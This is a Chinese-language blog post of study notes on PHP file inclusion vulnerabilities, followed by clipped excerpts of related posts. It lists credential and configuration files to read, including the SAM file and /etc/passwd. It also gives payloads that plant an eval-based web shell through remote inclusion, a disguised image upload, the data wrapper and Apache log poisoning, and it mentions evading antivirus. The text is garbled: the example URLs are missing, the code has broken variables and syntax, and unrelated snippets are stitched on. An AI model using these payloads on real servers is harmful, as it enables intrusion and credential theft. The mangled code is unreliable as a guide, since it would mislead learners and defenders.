檔案包含漏洞學習筆記

2021-09-29 08:10:43 字數 1797 閱讀 1633

​ 程式開發人員通常會把可重複使用的函式寫到單個檔案中,在使用某些函式時,直接呼叫此檔案而無需再次編寫,這種呼叫檔案的過程被稱為包含。被包含的檔案設定為變數,用來動態呼叫時,導致客戶端可以呼叫乙個惡意檔案,造成檔案包含漏洞。

index.php:

<?php

$filename = $_get['page'];

include($page);

?>

phpinfo.txt:

<?php

phpinfo();

?>

讀取敏感檔案
c:\boot.ini							     //檢視系統版本

c:\windows\system32\inetsrv\metabase.xml //iis配置檔案

c:\windows\repair\sam //儲存windows系統初次安裝的密碼

c:\program files\mysql\my.ini //mysql配置

c:\program files\mysql\data\mysql\user.myd //mysql root

c:\windows\php.ini //php配置資訊

c:\windows\my.ini //mysql配置檔案

/etc/passwd

/etc/httpd/conf/httpd.conf //apache配置檔案

/etc/my.cnf //mysql的配置檔案

遠端包含shell
echo.txt:

<?fputs(fopen("shell.php","w"),"<?php eval_($post['0xdawn'];)?>")?>

訪問

將會在index.php所在目錄下生成shell.php

本地包含+檔案上傳

shell.jpg:

<?fputs(fopen("shell.php","w"),"<?php eval_($post['0xdawn'];)?>")?>

上傳一句話木馬到伺服器,路徑為/uploadfile/shell.jpg

訪問 將會在index.php所在目錄下生成shell.php

php封裝協議

名稱含義

file://

訪問本地檔案

訪問http**

ftp://

訪問ftp url

php://

訪問輸入/輸出流

zlib://

壓縮流data://

資料ssh2://

secure shell 2

expect://

處理互動式流

glob://

查詢匹配的檔案路徑

得到base64加密後的php源**

post:<?fputs(fopen("shell.php"),"<?php eval($post['0xdawn']);?>")?>

在index.php目錄下生成shell.php

apache執行後預設生成兩個日誌檔案,access.log(訪問日誌)和error.log(錯誤日誌)

訪問url:<?php phpinfo();?>,apache記錄請求並寫入access.log檔案

上傳一句話木馬再在php檔案中包含這個木馬,可以繞過部分殺軟

檔案包含漏洞

簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...

檔案包含漏洞

1 什麼是檔案包含漏洞 檔案包含,包括本地檔案包含 locao file inclusion,lfi 和遠端檔案包含 remote file inclusion,rfi 兩種形式。首先,本地檔案包含就是通過瀏覽器引進 包含 web伺服器上的檔案,這種漏洞一般發生在瀏覽器包含檔案時沒有進行嚴格的過濾,...

檔案包含漏洞

直接執行 的函式 eval assert system exec shell exec passthru escapeshellcmd pcntl exec 等就不一一舉例了。1 eval eval 函式把字串按照 php 來計算,如常見的一句話後門程式 eval post cmd 2 assert...